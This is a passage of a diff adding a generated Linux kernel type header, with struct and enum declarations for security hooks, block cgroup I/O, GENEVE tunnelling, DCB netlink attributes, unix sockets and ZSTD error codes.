+ void (*bpf_prog_free_security)(struct bpf_prog_aux *); + int (*locked_down)(enum lockdown_reason); + int (*perf_event_open)(struct perf_event_attr *, int); + int (*perf_event_alloc)(struct perf_event *); + void (*perf_event_free)(struct perf_event *); + int (*perf_event_read)(struct perf_event *); + int (*perf_event_write)(struct perf_event *); + int (*uring_override_creds)(const struct cred *); + int (*uring_sqpoll)(); + int (*uring_cmd)(struct io_uring_cmd *); +}; + +struct security_hook_list { + struct hlist_node list; + struct hlist_head *head; + union security_list_options hook; + const char *lsm; +}; + +enum evm_ima_xattr_type { + IMA_XATTR_DIGEST = 1, + EVM_XATTR_HMAC = 2, + EVM_IMA_XATTR_DIGSIG = 3, + IMA_XATTR_DIGEST_NG = 4, + EVM_XATTR_PORTABLE_DIGSIG = 5, + IMA_VERITY_DIGSIG = 6, + IMA_XATTR_LAST = 7, +}; + +struct ima_max_digest_data { + struct ima_digest_data hdr; + u8 digest[64]; +}; + +struct crypto_istat_aead { + atomic64_t encrypt_cnt; + atomic64_t encrypt_tlen; + atomic64_t decrypt_cnt; + atomic64_t decrypt_tlen; + atomic64_t err_cnt; +}; + +struct crypto_aead_spawn { + struct crypto_spawn base; +}; + +struct chksum_ctx { + u32 key; +}; + +struct chksum_desc_ctx { + u32 crc; +}; + +enum pkcs7_actions { + ACT_pkcs7_check_content_type = 0, + ACT_pkcs7_extract_cert = 1, + ACT_pkcs7_note_OID = 2, + ACT_pkcs7_note_certificate_list = 3, + ACT_pkcs7_note_content = 4, + ACT_pkcs7_note_data = 5, + ACT_pkcs7_note_signed_info = 6, + ACT_pkcs7_note_signeddata_version = 7, + ACT_pkcs7_note_signerinfo_version = 8, + ACT_pkcs7_sig_note_authenticated_attr = 9, + ACT_pkcs7_sig_note_digest_algo = 10, + ACT_pkcs7_sig_note_issuer = 11, + ACT_pkcs7_sig_note_pkey_algo = 12, + ACT_pkcs7_sig_note_serial = 13, + ACT_pkcs7_sig_note_set_of_authattrs = 14, + ACT_pkcs7_sig_note_signature = 15, + ACT_pkcs7_sig_note_skid = 16, + NR__pkcs7_actions = 17, +}; + +struct bvec_iter_all { + struct bio_vec bv; + int idx; + unsigned int done; +}; + +struct blkg_iostat { + u64 bytes[3]; + u64 ios[3]; +}; + +struct blkg_iostat_set { + struct u64_stats_sync sync; + struct blkcg_gq *blkg; + struct llist_node lnode; + int lqueued; + struct blkg_iostat cur; + struct blkg_iostat last; +}; + +struct blkcg; + +struct blkg_policy_data; + +struct blkcg_gq { + struct request_queue *q; + struct list_head q_node; + struct hlist_node blkcg_node; + struct blkcg *blkcg; + struct blkcg_gq *parent; + struct percpu_ref refcnt; + bool online; + struct blkg_iostat_set *iostat_cpu; + struct blkg_iostat_set iostat; + struct blkg_policy_data *pd[6]; + union { + struct work_struct async_bio_work; + struct work_struct free_work; + }; + atomic_t use_delay; + atomic64_t delay_nsec; + atomic64_t delay_start; + u64 last_delay; + int last_use; + struct callback_head callback_head; +}; + +enum { + BIOSET_NEED_BVECS = 1, + BIOSET_NEED_RESCUER = 2, + BIOSET_PERCPU_CACHE = 4, +}; + +struct bio_alloc_cache { + struct bio *free_list; + struct bio *free_list_irq; + unsigned int nr; + unsigned int nr_irq; +}; + +enum rq_qos_id { + RQ_QOS_WBT = 0, + RQ_QOS_LATENCY = 1, + RQ_QOS_COST = 2, +}; + +struct rq_qos_ops; + +struct rq_qos { + const struct rq_qos_ops *ops; + struct gendisk *disk; + enum rq_qos_id id; + struct rq_qos *next; + struct dentry *debugfs_dir; +}; + +struct blk_trace { + int trace_state; + struct rchan *rchan; + long unsigned int *sequence; + unsigned char *msg_data; + u16 act_mask; + u64 start_lba; + u64 end_lba; + u32 pid; + u32 dev; + struct dentry *dir; + struct list_head running_list; + atomic_t dropped; +}; + +enum blktrace_act { + __BLK_TA_QUEUE = 1, + __BLK_TA_BACKMERGE = 2, + __BLK_TA_FRONTMERGE = 3, + __BLK_TA_GETRQ = 4, + __BLK_TA_SLEEPRQ = 5, + __BLK_TA_REQUEUE = 6, + __BLK_TA_ISSUE = 7, + __BLK_TA_COMPLETE = 8, + __BLK_TA_PLUG = 9, + __BLK_TA_UNPLUG_IO = 10, + __BLK_TA_UNPLUG_TIMER = 11, + __BLK_TA_INSERT = 12, + __BLK_TA_SPLIT = 13, + __BLK_TA_BOUNCE = 14, + __BLK_TA_REMAP = 15, + __BLK_TA_ABORT = 16, + __BLK_TA_DRV_DATA = 17, + __BLK_TA_CGROUP = 256, +}; + +struct blk_mq_debugfs_attr { + const char *name; + umode_t mode; + int (*show)(void *, struct seq_file *); + ssize_t (*write)(void *, const char *, size_t, loff_t *); + const struct seq_operations *seq_ops; +}; + +struct rq_qos_ops { + void (*throttle)(struct rq_qos *, struct bio *); + void (*track)(struct rq_qos *, struct request *, struct bio *); + void (*merge)(struct rq_qos *, struct request *, struct bio *); + void (*issue)(struct rq_qos *, struct request *); + void (*requeue)(struct rq_qos *, struct request *); + void (*done)(struct rq_qos *, struct request *); + void (*done_bio)(struct rq_qos *, struct bio *); + void (*cleanup)(struct rq_qos *, struct bio *); + void (*queue_depth_changed)(struct rq_qos *); + void (*exit)(struct rq_qos *); + const struct blk_mq_debugfs_attr *debugfs_attrs; +}; + +enum blkg_iostat_type { + BLKG_IOSTAT_READ = 0, + BLKG_IOSTAT_WRITE = 1, + BLKG_IOSTAT_DISCARD = 2, + BLKG_IOSTAT_NR = 3, +}; + +struct blkcg_policy_data; + +struct blkcg { + struct cgroup_subsys_state css; + spinlock_t lock; + refcount_t online_pin; + struct xarray blkg_tree; + struct blkcg_gq *blkg_hint; + struct hlist_head blkg_list; + struct blkcg_policy_data *cpd[6]; + struct list_head all_blkcgs_node; + struct llist_head *lhead; + struct list_head cgwb_list; +}; + +struct blkg_policy_data { + struct blkcg_gq *blkg; + int plid; + bool online; +}; + +struct blkcg_policy_data { + struct blkcg *blkcg; + int plid; +}; + +struct biovec_slab { + int nr_vecs; + char *name; + struct kmem_cache *slab; +}; + +struct bio_slab { + struct kmem_cache *slab; + unsigned int slab_ref; + unsigned int slab_size; + char name[8]; +}; + +enum { + IORING_MSG_DATA = 0, + IORING_MSG_SEND_FD = 1, +}; + +struct io_msg { + struct file *file; + struct file *src_file; + struct callback_head tw; + u64 user_data; + u32 len; + u32 cmd; + u32 src_fd; + union { + u32 dst_fd; + u32 cqe_flags; + }; + u32 flags; +}; + +struct pci_slot_attribute { + struct attribute attr; + ssize_t (*show)(struct pci_slot *, char *); + ssize_t (*store)(struct pci_slot *, const char *, size_t); +}; + +struct vesafb_par { + u32 pseudo_palette[256]; + resource_size_t base; + resource_size_t size; + int wc_cookie; + struct resource *region; +}; + +struct acpi_pci_device { + acpi_handle device; + struct acpi_pci_device *next; +}; + +struct tiocl_selection { + short unsigned int xs; + short unsigned int ys; + short unsigned int xe; + short unsigned int ye; + short unsigned int sel_mode; +}; + +struct vc_selection { + struct mutex lock; + struct vc_data *cons; + char *buffer; + unsigned int buf_len; + volatile int start; + int end; +}; + +struct agp_3_5_dev { + struct list_head list; + u8 capndx; + u32 maxbw; + struct pci_dev *dev; +}; + +struct isoch_data { + u32 maxbw; + u32 n; + u32 y; + u32 l; + u32 rq; + struct agp_3_5_dev *dev; +}; + +enum fw_opt { + FW_OPT_UEVENT = 1, + FW_OPT_NOWAIT = 2, + FW_OPT_USERHELPER = 4, + FW_OPT_NO_WARN = 8, + FW_OPT_NOCACHE = 16, + FW_OPT_NOFALLBACK_SYSFS = 32, + FW_OPT_FALLBACK_PLATFORM = 64, + FW_OPT_PARTIAL = 128, +}; + +enum fw_status { + FW_STATUS_UNKNOWN = 0, + FW_STATUS_LOADING = 1, + FW_STATUS_DONE = 2, + FW_STATUS_ABORTED = 3, +}; + +struct fw_state { + struct completion completion; + enum fw_status status; +}; + +struct firmware_cache; + +struct fw_priv { + struct kref ref; + struct list_head list; + struct firmware_cache *fwc; + struct fw_state fw_st; + void *data; + size_t size; + size_t allocated_size; + size_t offset; + u32 opt_flags; + bool is_paged_buf; + struct page **pages; + int nr_pages; + int page_array_size; + bool need_uevent; + struct list_head pending_list; + const char *fw_name; +}; + +struct firmware_fallback_config { + unsigned int force_sysfs_fallback; + unsigned int ignore_sysfs_fallback; + int old_timeout; + int loading_timeout; +}; + +struct fw_sysfs { + bool nowait; + struct device dev; + struct fw_priv *fw_priv; + struct firmware *fw; + void *fw_upload_priv; +}; + +enum { + IFLA_GENEVE_UNSPEC = 0, + IFLA_GENEVE_ID = 1, + IFLA_GENEVE_REMOTE = 2, + IFLA_GENEVE_TTL = 3, + IFLA_GENEVE_TOS = 4, + IFLA_GENEVE_PORT = 5, + IFLA_GENEVE_COLLECT_METADATA = 6, + IFLA_GENEVE_REMOTE6 = 7, + IFLA_GENEVE_UDP_CSUM = 8, + IFLA_GENEVE_UDP_ZERO_CSUM6_TX = 9, + IFLA_GENEVE_UDP_ZERO_CSUM6_RX = 10, + IFLA_GENEVE_LABEL = 11, + IFLA_GENEVE_TTL_INHERIT = 12, + IFLA_GENEVE_DF = 13, + IFLA_GENEVE_INNER_PROTO_INHERIT = 14, + __IFLA_GENEVE_MAX = 15, +}; + +enum ifla_geneve_df { + GENEVE_DF_UNSET = 0, + GENEVE_DF_SET = 1, + GENEVE_DF_INHERIT = 2, + __GENEVE_DF_END = 3, + GENEVE_DF_MAX = 2, +}; + +struct udp_port_cfg { + u8 family; + union { + struct in_addr local_ip; + struct in6_addr local_ip6; + }; + union { + struct in_addr peer_ip; + struct in6_addr peer_ip6; + }; + __be16 local_udp_port; + __be16 peer_udp_port; + int bind_ifindex; + unsigned int use_udp_checksums: 1; + unsigned int use_udp6_tx_checksums: 1; + unsigned int use_udp6_rx_checksums: 1; + unsigned int ipv6_v6only: 1; +}; + +typedef int (*udp_tunnel_encap_rcv_t)(struct sock *, struct sk_buff *); + +typedef int (*udp_tunnel_encap_err_lookup_t)(struct sock *, struct sk_buff *); + +typedef void (*udp_tunnel_encap_err_rcv_t)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); + +typedef void (*udp_tunnel_encap_destroy_t)(struct sock *); + +typedef struct sk_buff * (*udp_tunnel_gro_receive_t)(struct sock *, struct list_head *, struct sk_buff *); + +typedef int (*udp_tunnel_gro_complete_t)(struct sock *, struct sk_buff *, int); + +struct udp_tunnel_sock_cfg { + void *sk_user_data; + __u8 encap_type; + udp_tunnel_encap_rcv_t encap_rcv; + udp_tunnel_encap_err_lookup_t encap_err_lookup; + udp_tunnel_encap_err_rcv_t encap_err_rcv; + udp_tunnel_encap_destroy_t encap_destroy; + udp_tunnel_gro_receive_t gro_receive; + udp_tunnel_gro_complete_t gro_complete; +}; + +enum udp_parsable_tunnel_type { + UDP_TUNNEL_TYPE_VXLAN = 1, + UDP_TUNNEL_TYPE_GENEVE = 2, + UDP_TUNNEL_TYPE_VXLAN_GPE = 4, +}; + +struct genevehdr { + u8 opt_len: 6; + u8 ver: 2; + u8 rsvd1: 6; + u8 critical: 1; + u8 oam: 1; + __be16 proto_type; + u8 vni[3]; + u8 rsvd2; + u8 options[0]; +}; + +struct geneve_net { + struct list_head geneve_list; + struct list_head sock_list; +}; + +struct geneve_dev; + +struct geneve_dev_node { + struct hlist_node hlist; + struct geneve_dev *geneve; +}; + +struct geneve_config { + struct ip_tunnel_info info; + bool collect_md; + bool use_udp6_rx_checksums; + bool ttl_inherit; + enum ifla_geneve_df df; + bool inner_proto_inherit; +}; + +struct geneve_sock; + +struct geneve_dev { + struct geneve_dev_node hlist4; + struct geneve_dev_node hlist6; + struct net *net; + struct net_device *dev; + struct geneve_sock *sock4; + struct geneve_sock *sock6; + struct list_head next; + struct gro_cells gro_cells; + struct geneve_config cfg; +}; + +struct geneve_sock { + bool collect_md; + struct list_head list; + struct socket *sock; + struct callback_head rcu; + int refcnt; + struct hlist_head vni_list[1024]; +}; + +typedef u64 (*btf_bpf_rc_repeat)(u32 *); + +typedef u64 (*btf_bpf_rc_keydown)(u32 *, u32, u64, u32); + +typedef u64 (*btf_bpf_rc_pointer_rel)(u32 *, s32, s32); + +struct rtgenmsg { + unsigned char rtgen_family; +}; + +enum { + NETNSA_NONE = 0, + NETNSA_NSID = 1, + NETNSA_PID = 2, + NETNSA_FD = 3, + NETNSA_TARGET_NSID = 4, + NETNSA_CURRENT_NSID = 5, + __NETNSA_MAX = 6, +}; + +struct pcpu_gen_cookie { + local_t nesting; + u64 last; +}; + +struct gen_cookie { + struct pcpu_gen_cookie *local; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + atomic64_t forward_last; + atomic64_t reverse_last; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct net_fill_args { + u32 portid; + u32 seq; + int flags; + int cmd; + int nsid; + bool add_ref; + int ref_nsid; +}; + +struct rtnl_net_dump_cb { + struct net *tgt_net; + struct net *ref_net; + struct sk_buff *skb; + struct net_fill_args fillargs; + int idx; + int s_idx; +}; + +enum { + TCA_CGROUP_UNSPEC = 0, + TCA_CGROUP_ACT = 1, + TCA_CGROUP_POLICE = 2, + TCA_CGROUP_EMATCHES = 3, + __TCA_CGROUP_MAX = 4, +}; + +struct tcf_ematch_tree_hdr { + __u16 nmatches; + __u16 progid; +}; + +struct tcf_pkt_info { + unsigned char *ptr; + int nexthdr; +}; + +struct tcf_ematch_ops; + +struct tcf_ematch { + struct tcf_ematch_ops *ops; + long unsigned int data; + unsigned int datalen; + u16 matchid; + u16 flags; + struct net *net; +}; + +struct tcf_ematch_ops { + int kind; + int datalen; + int (*change)(struct net *, void *, int, struct tcf_ematch *); + int (*match)(struct sk_buff *, struct tcf_ematch *, struct tcf_pkt_info *); + void (*destroy)(struct tcf_ematch *); + int (*dump)(struct sk_buff *, struct tcf_ematch *); + struct module *owner; + struct list_head link; +}; + +struct tcf_ematch_tree { + struct tcf_ematch_tree_hdr hdr; + struct tcf_ematch *matches; +}; + +struct cls_cgroup_head { + u32 handle; + struct tcf_exts exts; + struct tcf_ematch_tree ematches; + struct tcf_proto *tp; + struct rcu_work rwork; +}; + +enum ethtool_stringset { + ETH_SS_TEST = 0, + ETH_SS_STATS = 1, + ETH_SS_PRIV_FLAGS = 2, + ETH_SS_NTUPLE_FILTERS = 3, + ETH_SS_FEATURES = 4, + ETH_SS_RSS_HASH_FUNCS = 5, + ETH_SS_TUNABLES = 6, + ETH_SS_PHY_STATS = 7, + ETH_SS_PHY_TUNABLES = 8, + ETH_SS_LINK_MODES = 9, + ETH_SS_MSG_CLASSES = 10, + ETH_SS_WOL_MODES = 11, + ETH_SS_SOF_TIMESTAMPING = 12, + ETH_SS_TS_TX_TYPES = 13, + ETH_SS_TS_RX_FILTERS = 14, + ETH_SS_UDP_TUNNEL_TYPES = 15, + ETH_SS_STATS_STD = 16, + ETH_SS_STATS_ETH_PHY = 17, + ETH_SS_STATS_ETH_MAC = 18, + ETH_SS_STATS_ETH_CTRL = 19, + ETH_SS_STATS_RMON = 20, + ETH_SS_COUNT = 21, +}; + +struct privflags_reply_data { + struct ethnl_reply_data base; + const char (*priv_flag_names)[32]; + unsigned int n_priv_flags; + u32 priv_flags; +}; + +struct ip_rt_info { + __be32 daddr; + __be32 saddr; + u_int8_t tos; + u_int32_t mark; +}; + +struct ip6_rt_info { + struct in6_addr daddr; + struct in6_addr saddr; + u_int32_t mark; +}; + +enum l2tp_debug_flags { + L2TP_MSG_DEBUG = 1, + L2TP_MSG_CONTROL = 2, + L2TP_MSG_SEQ = 4, + L2TP_MSG_DATA = 8, +}; + +struct nf_queue_handler { + int (*outfn)(struct nf_queue_entry *, unsigned int); + void (*nf_hook_drop)(struct net *); +}; + +enum ip_conntrack_events { + IPCT_NEW = 0, + IPCT_RELATED = 1, + IPCT_DESTROY = 2, + IPCT_REPLY = 3, + IPCT_ASSURED = 4, + IPCT_PROTOINFO = 5, + IPCT_HELPER = 6, + IPCT_MARK = 7, + IPCT_SEQADJ = 8, + IPCT_NATSEQADJ = 8, + IPCT_SECMARK = 9, + IPCT_LABEL = 10, + IPCT_SYNPROXY = 11, + __IPCT_MAX = 12, +}; + +enum ct_dccp_roles { + CT_DCCP_ROLE_CLIENT = 0, + CT_DCCP_ROLE_SERVER = 1, + __CT_DCCP_ROLE_MAX = 2, +}; + +struct dccp_hdr { + __be16 dccph_sport; + __be16 dccph_dport; + __u8 dccph_doff; + __u8 dccph_cscov: 4; + __u8 dccph_ccval: 4; + __sum16 dccph_checksum; + __u8 dccph_x: 1; + __u8 dccph_type: 4; + __u8 dccph_reserved: 3; + __u8 dccph_seq2; + __be16 dccph_seq; +}; + +struct dccp_hdr_ext { + __be32 dccph_seq_low; +}; + +struct dccp_hdr_ack_bits { + __be16 dccph_reserved1; + __be16 dccph_ack_nr_high; + __be32 dccph_ack_nr_low; +}; + +enum dccp_pkt_type { + DCCP_PKT_REQUEST = 0, + DCCP_PKT_RESPONSE = 1, + DCCP_PKT_DATA = 2, + DCCP_PKT_ACK = 3, + DCCP_PKT_DATAACK = 4, + DCCP_PKT_CLOSEREQ = 5, + DCCP_PKT_CLOSE = 6, + DCCP_PKT_RESET = 7, + DCCP_PKT_SYNC = 8, + DCCP_PKT_SYNCACK = 9, + DCCP_PKT_INVALID = 10, +}; + +struct ip_mreqn { + struct in_addr imr_multiaddr; + struct in_addr imr_address; + int imr_ifindex; +}; + +enum { + SKBFL_ZEROCOPY_ENABLE = 1, + SKBFL_SHARED_FRAG = 2, + SKBFL_PURE_ZEROCOPY = 4, + SKBFL_DONT_ORPHAN = 8, + SKBFL_MANAGED_FRAG_REFS = 16, +}; + +struct mmpin { + struct user_struct *user; + unsigned int num_pg; +}; + +struct ubuf_info_msgzc { + struct ubuf_info ubuf; + union { + struct { + long unsigned int desc; + void *ctx; + }; + struct { + u32 id; + u16 len; + u16 zerocopy: 1; + u32 bytelen; + }; + }; + struct mmpin mmp; +}; + +struct ip_options_data { + struct ip_options_rcu opt; + char data[40]; +}; + +struct ip_sf_socklist; + +struct ip_mc_socklist { + struct ip_mc_socklist *next_rcu; + struct ip_mreqn multi; + unsigned int sfmode; + struct ip_sf_socklist *sflist; + struct callback_head rcu; +}; + +enum { + LWTUNNEL_XMIT_DONE = 0, + LWTUNNEL_XMIT_CONTINUE = 1, +}; + +struct ipcm_cookie { + struct sockcm_cookie sockc; + __be32 addr; + int oif; + struct ip_options_rcu *opt; + __u8 ttl; + __s16 tos; + char priority; + __u16 gso_size; +}; + +struct ip_fraglist_iter { + struct sk_buff *frag; + struct iphdr *iph; + int offset; + unsigned int hlen; +}; + +struct ip_frag_state { + bool DF; + unsigned int hlen; + unsigned int ll_rs; + unsigned int mtu; + unsigned int left; + int offset; + int ptr; + __be16 not_last_frag; +}; + +struct ip_reply_arg { + struct kvec iov[1]; + int flags; + __wsum csum; + int csumoffset; + int bound_dev_if; + u8 tos; + kuid_t uid; +}; + +struct ip_sf_socklist { + unsigned int sl_max; + unsigned int sl_count; + struct callback_head rcu; + __be32 sl_addr[0]; +}; + +struct sockaddr_un { + __kernel_sa_family_t sun_family; + char sun_path[108]; +}; + +struct unix_address { + refcount_t refcnt; + int len; + struct sockaddr_un name[0]; +}; + +struct scm_stat { + atomic_t nr_fds; +}; + +struct unix_sock { + struct sock sk; + struct unix_address *addr; + struct path path; + struct mutex iolock; + struct mutex bindlock; + struct sock *peer; + struct list_head link; + atomic_long_t inflight; + spinlock_t lock; + long unsigned int gc_flags; + long: 64; + long: 64; + long: 64; + long: 64; + struct socket_wq peer_wq; + wait_queue_entry_t peer_wake; + struct scm_stat scm_stat; + struct sk_buff *oob_skb; + long: 64; +}; + +struct dcbmsg { + __u8 dcb_family; + __u8 cmd; + __u16 dcb_pad; +}; + +enum dcbnl_commands { + DCB_CMD_UNDEFINED = 0, + DCB_CMD_GSTATE = 1, + DCB_CMD_SSTATE = 2, + DCB_CMD_PGTX_GCFG = 3, + DCB_CMD_PGTX_SCFG = 4, + DCB_CMD_PGRX_GCFG = 5, + DCB_CMD_PGRX_SCFG = 6, + DCB_CMD_PFC_GCFG = 7, + DCB_CMD_PFC_SCFG = 8, + DCB_CMD_SET_ALL = 9, + DCB_CMD_GPERM_HWADDR = 10, + DCB_CMD_GCAP = 11, + DCB_CMD_GNUMTCS = 12, + DCB_CMD_SNUMTCS = 13, + DCB_CMD_PFC_GSTATE = 14, + DCB_CMD_PFC_SSTATE = 15, + DCB_CMD_BCN_GCFG = 16, + DCB_CMD_BCN_SCFG = 17, + DCB_CMD_GAPP = 18, + DCB_CMD_SAPP = 19, + DCB_CMD_IEEE_SET = 20, + DCB_CMD_IEEE_GET = 21, + DCB_CMD_GDCBX = 22, + DCB_CMD_SDCBX = 23, + DCB_CMD_GFEATCFG = 24, + DCB_CMD_SFEATCFG = 25, + DCB_CMD_CEE_GET = 26, + DCB_CMD_IEEE_DEL = 27, + __DCB_CMD_ENUM_MAX = 28, + DCB_CMD_MAX = 27, +}; + +enum dcbnl_attrs { + DCB_ATTR_UNDEFINED = 0, + DCB_ATTR_IFNAME = 1, + DCB_ATTR_STATE = 2, + DCB_ATTR_PFC_STATE = 3, + DCB_ATTR_PFC_CFG = 4, + DCB_ATTR_NUM_TC = 5, + DCB_ATTR_PG_CFG = 6, + DCB_ATTR_SET_ALL = 7, + DCB_ATTR_PERM_HWADDR = 8, + DCB_ATTR_CAP = 9, + DCB_ATTR_NUMTCS = 10, + DCB_ATTR_BCN = 11, + DCB_ATTR_APP = 12, + DCB_ATTR_IEEE = 13, + DCB_ATTR_DCBX = 14, + DCB_ATTR_FEATCFG = 15, + DCB_ATTR_CEE = 16, + __DCB_ATTR_ENUM_MAX = 17, + DCB_ATTR_MAX = 16, +}; + +enum ieee_attrs { + DCB_ATTR_IEEE_UNSPEC = 0, + DCB_ATTR_IEEE_ETS = 1, + DCB_ATTR_IEEE_PFC = 2, + DCB_ATTR_IEEE_APP_TABLE = 3, + DCB_ATTR_IEEE_PEER_ETS = 4, + DCB_ATTR_IEEE_PEER_PFC = 5, + DCB_ATTR_IEEE_PEER_APP = 6, + DCB_ATTR_IEEE_MAXRATE = 7, + DCB_ATTR_IEEE_QCN = 8, + DCB_ATTR_IEEE_QCN_STATS = 9, + DCB_ATTR_DCB_BUFFER = 10, + DCB_ATTR_DCB_APP_TRUST_TABLE = 11, + DCB_ATTR_DCB_REWR_TABLE = 12, + __DCB_ATTR_IEEE_MAX = 13, +}; + +enum ieee_attrs_app { + DCB_ATTR_IEEE_APP_UNSPEC = 0, + DCB_ATTR_IEEE_APP = 1, + DCB_ATTR_DCB_APP = 2, + __DCB_ATTR_IEEE_APP_MAX = 3, +}; + +enum cee_attrs { + DCB_ATTR_CEE_UNSPEC = 0, + DCB_ATTR_CEE_PEER_PG = 1, + DCB_ATTR_CEE_PEER_PFC = 2, + DCB_ATTR_CEE_PEER_APP_TABLE = 3, + DCB_ATTR_CEE_TX_PG = 4, + DCB_ATTR_CEE_RX_PG = 5, + DCB_ATTR_CEE_PFC = 6, + DCB_ATTR_CEE_APP_TABLE = 7, + DCB_ATTR_CEE_FEAT = 8, + __DCB_ATTR_CEE_MAX = 9, +}; + +enum peer_app_attr { + DCB_ATTR_CEE_PEER_APP_UNSPEC = 0, + DCB_ATTR_CEE_PEER_APP_INFO = 1, + DCB_ATTR_CEE_PEER_APP = 2, + __DCB_ATTR_CEE_PEER_APP_MAX = 3, +}; + +enum dcbnl_pfc_up_attrs { + DCB_PFC_UP_ATTR_UNDEFINED = 0, + DCB_PFC_UP_ATTR_0 = 1, + DCB_PFC_UP_ATTR_1 = 2, + DCB_PFC_UP_ATTR_2 = 3, + DCB_PFC_UP_ATTR_3 = 4, + DCB_PFC_UP_ATTR_4 = 5, + DCB_PFC_UP_ATTR_5 = 6, + DCB_PFC_UP_ATTR_6 = 7, + DCB_PFC_UP_ATTR_7 = 8, + DCB_PFC_UP_ATTR_ALL = 9, + __DCB_PFC_UP_ATTR_ENUM_MAX = 10, + DCB_PFC_UP_ATTR_MAX = 9, +}; + +enum dcbnl_pg_attrs { + DCB_PG_ATTR_UNDEFINED = 0, + DCB_PG_ATTR_TC_0 = 1, + DCB_PG_ATTR_TC_1 = 2, + DCB_PG_ATTR_TC_2 = 3, + DCB_PG_ATTR_TC_3 = 4, + DCB_PG_ATTR_TC_4 = 5, + DCB_PG_ATTR_TC_5 = 6, + DCB_PG_ATTR_TC_6 = 7, + DCB_PG_ATTR_TC_7 = 8, + DCB_PG_ATTR_TC_MAX = 9, + DCB_PG_ATTR_TC_ALL = 10, + DCB_PG_ATTR_BW_ID_0 = 11, + DCB_PG_ATTR_BW_ID_1 = 12, + DCB_PG_ATTR_BW_ID_2 = 13, + DCB_PG_ATTR_BW_ID_3 = 14, + DCB_PG_ATTR_BW_ID_4 = 15, + DCB_PG_ATTR_BW_ID_5 = 16, + DCB_PG_ATTR_BW_ID_6 = 17, + DCB_PG_ATTR_BW_ID_7 = 18, + DCB_PG_ATTR_BW_ID_MAX = 19, + DCB_PG_ATTR_BW_ID_ALL = 20, + __DCB_PG_ATTR_ENUM_MAX = 21, + DCB_PG_ATTR_MAX = 20, +}; + +enum dcbnl_tc_attrs { + DCB_TC_ATTR_PARAM_UNDEFINED = 0, + DCB_TC_ATTR_PARAM_PGID = 1, + DCB_TC_ATTR_PARAM_UP_MAPPING = 2, + DCB_TC_ATTR_PARAM_STRICT_PRIO = 3, + DCB_TC_ATTR_PARAM_BW_PCT = 4, + DCB_TC_ATTR_PARAM_ALL = 5, + __DCB_TC_ATTR_PARAM_ENUM_MAX = 6, + DCB_TC_ATTR_PARAM_MAX = 5, +}; + +enum dcbnl_cap_attrs { + DCB_CAP_ATTR_UNDEFINED = 0, + DCB_CAP_ATTR_ALL = 1, + DCB_CAP_ATTR_PG = 2, + DCB_CAP_ATTR_PFC = 3, + DCB_CAP_ATTR_UP2TC = 4, + DCB_CAP_ATTR_PG_TCS = 5, + DCB_CAP_ATTR_PFC_TCS = 6, + DCB_CAP_ATTR_GSP = 7, + DCB_CAP_ATTR_BCN = 8, + DCB_CAP_ATTR_DCBX = 9, + __DCB_CAP_ATTR_ENUM_MAX = 10, + DCB_CAP_ATTR_MAX = 9, +}; + +enum dcbnl_numtcs_attrs { + DCB_NUMTCS_ATTR_UNDEFINED = 0, + DCB_NUMTCS_ATTR_ALL = 1, + DCB_NUMTCS_ATTR_PG = 2, + DCB_NUMTCS_ATTR_PFC = 3, + __DCB_NUMTCS_ATTR_ENUM_MAX = 4, + DCB_NUMTCS_ATTR_MAX = 3, +}; + +enum dcbnl_bcn_attrs { + DCB_BCN_ATTR_UNDEFINED = 0, + DCB_BCN_ATTR_RP_0 = 1, + DCB_BCN_ATTR_RP_1 = 2, + DCB_BCN_ATTR_RP_2 = 3, + DCB_BCN_ATTR_RP_3 = 4, + DCB_BCN_ATTR_RP_4 = 5, + DCB_BCN_ATTR_RP_5 = 6, + DCB_BCN_ATTR_RP_6 = 7, + DCB_BCN_ATTR_RP_7 = 8, + DCB_BCN_ATTR_RP_ALL = 9, + DCB_BCN_ATTR_BCNA_0 = 10, + DCB_BCN_ATTR_BCNA_1 = 11, + DCB_BCN_ATTR_ALPHA = 12, + DCB_BCN_ATTR_BETA = 13, + DCB_BCN_ATTR_GD = 14, + DCB_BCN_ATTR_GI = 15, + DCB_BCN_ATTR_TMAX = 16, + DCB_BCN_ATTR_TD = 17, + DCB_BCN_ATTR_RMIN = 18, + DCB_BCN_ATTR_W = 19, + DCB_BCN_ATTR_RD = 20, + DCB_BCN_ATTR_RU = 21, + DCB_BCN_ATTR_WRTT = 22, + DCB_BCN_ATTR_RI = 23, + DCB_BCN_ATTR_C = 24, + DCB_BCN_ATTR_ALL = 25, + __DCB_BCN_ATTR_ENUM_MAX = 26, + DCB_BCN_ATTR_MAX = 25, +}; + +enum dcb_general_attr_values { + DCB_ATTR_VALUE_UNDEFINED = 255, +}; + +enum dcbnl_app_attrs { + DCB_APP_ATTR_UNDEFINED = 0, + DCB_APP_ATTR_IDTYPE = 1, + DCB_APP_ATTR_ID = 2, + DCB_APP_ATTR_PRIORITY = 3, + __DCB_APP_ATTR_ENUM_MAX = 4, + DCB_APP_ATTR_MAX = 3, +}; + +enum dcbnl_featcfg_attrs { + DCB_FEATCFG_ATTR_UNDEFINED = 0, + DCB_FEATCFG_ATTR_ALL = 1, + DCB_FEATCFG_ATTR_PG = 2, + DCB_FEATCFG_ATTR_PFC = 3, + DCB_FEATCFG_ATTR_APP = 4, + __DCB_FEATCFG_ATTR_ENUM_MAX = 5, + DCB_FEATCFG_ATTR_MAX = 4, +}; + +struct dcb_app_type { + int ifindex; + struct dcb_app app; + struct list_head list; + u8 dcbx; +}; + +struct dcb_rewr_prio_pcp_map { + u16 map[8]; +}; + +struct dcb_ieee_app_prio_map { + u64 map[8]; +}; + +struct dcb_ieee_app_dscp_map { + u8 map[64]; +}; + +enum dcbevent_notif_type { + DCB_APP_EVENT = 1, +}; + +struct reply_func { + int type; + int (*cb)(struct net_device *, struct nlmsghdr *, u32, struct nlattr **, struct sk_buff *); +}; + +struct pci_mmcfg_region { + struct list_head list; + struct resource res; + u64 address; + char *virt; + u16 segment; + u8 start_bus; + u8 end_bus; + char name[30]; +}; + +typedef enum { + ZSTD_error_no_error = 0, + ZSTD_error_GENERIC = 1, + ZSTD_error_prefix_unknown = 10, + ZSTD_error_version_unsupported = 12, + ZSTD_error_frameParameter_unsupported = 14, + ZSTD_error_frameParameter_windowTooLarge = 16, + ZSTD_error_corruption_detected = 20, + ZSTD_error_checksum_wrong = 22, + ZSTD_error_dictionary_corrupted = 30, + ZSTD_error_dictionary_wrong = 32, + ZSTD_error_dictionaryCreation_failed = 34, + ZSTD_error_parameter_unsupported = 40, + 